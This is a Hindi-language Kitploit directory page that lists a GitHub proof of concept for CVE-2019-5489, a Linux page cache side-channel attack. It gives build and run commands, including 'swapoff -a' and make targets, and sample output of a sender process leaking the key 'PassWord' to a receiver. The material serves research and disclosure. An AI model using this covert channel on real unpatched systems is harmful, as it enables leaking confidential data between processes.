Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2019-5489 — Linux के लिए पेज कैश साइड चैनल हमले (CVE-2019-5489) प्रूफ ऑफ कॉन्सेप्ट | Kitploit
उपकरण/GitHubGitHub/mmxsrup/cve-2019-5489
भेद्यता विश्लेषणशोषणजानकारी एकत्र करनापेपर और शोधलर्निंग और शिक्षाबाइनरी शोषण
GitHubmmxsrup/cve-2019-5489

CVE-2019-5489

Linux के लिए पेज कैश साइड चैनल हमले (CVE-2019-5489) प्रूफ ऑफ कॉन्सेप्ट

रिपॉजिटरी देखें
103165 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE 2019-5489

इस रिपॉजिटरी में Linux के लिए Page Cache Side Channel Attacks (CVE-2019-5489) का प्रूफ ऑफ कॉन्सेप्ट है।

पेज कैश साइड चैनल का मूल्यांकन करने के लिए, मैंने दो प्रक्रियाओं के बीच कोवर्ट चैनल लागू किया है। सेंडर प्रक्रिया पेज कैश साइड चैनल के माध्यम से रिसीवर प्रक्रिया को गोपनीय डेटा भेजती है। पेज कैश हमलों को Linux Kernel 5.0 और बाद में कम किया गया है, इसलिए यह PoC केवल Linux Kernel 5.0 से पहले काम करेगा।

नोट: मैंने Ubuntu 18.04, Linux 4.15.0-70 पर काम करने का परीक्षण किया है।

निर्माण

निम्न कमांड चलाएँ।

git clone https://github.com/mmxsrup/CVE-2019-5489
cd CVE-2019-5489
make

चलाना

हमले को आसान बनाने के लिए स्वैप स्थान अक्षम करें।

swapoff -a

टर्मिनल 1

सबसे पहले, टर्मिनल 1 पर निम्न कमांड चलाएँ।

make run-sender

टर्मिनल 2

टर्मिनल 1 पर sending 1th character ... आउटपुट होने के बाद, निम्न कमांड चलाएँ।

make run-receiver

आउटपुट

यदि निष्पादन सफल होता है, तो निम्नलिखित आउटपुट होगा।
यह दर्शाता है कि कुंजी सेंडर प्रक्रिया से रिसीवर प्रक्रिया को पेज कैश साइड चैनल के माध्यम से भेजी गई थी।

टर्मिनल 1

LD_LIBRARY_PATH=. ./sender
Sender process
ecicting page cache ...
sending 1th character ...
ecicting page cache ...
sending 2th character ...
ecicting page cache ...
sending 3th character ...
ecicting page cache ...
sending 4th character ...
ecicting page cache ...
sending 5th character ...
ecicting page cache ...
sending 6th character ...
ecicting page cache ...
sending 7th character ...
ecicting page cache ...
sending 8th character ...
ecicting page cache ...
sending 9th character ...

टर्मिनल 2

LD_LIBRARY_PATH=. ./receiver
Sender process
waiting ...
recved caracter(P)
waiting ...
recved caracter(a)
waiting ...
recved caracter(s)
waiting ...
recved caracter(s)
waiting ...
recved caracter(W)
waiting ...
recved caracter(o)
waiting ...
recved caracter(r)
waiting ...
recved caracter(d)
waiting ...
recved caracter()
Received key: PassWord

संदर्भ

  • Daniel Gruss et al. Page cache attacks [CCS 19]
टूल डाउनलोड करें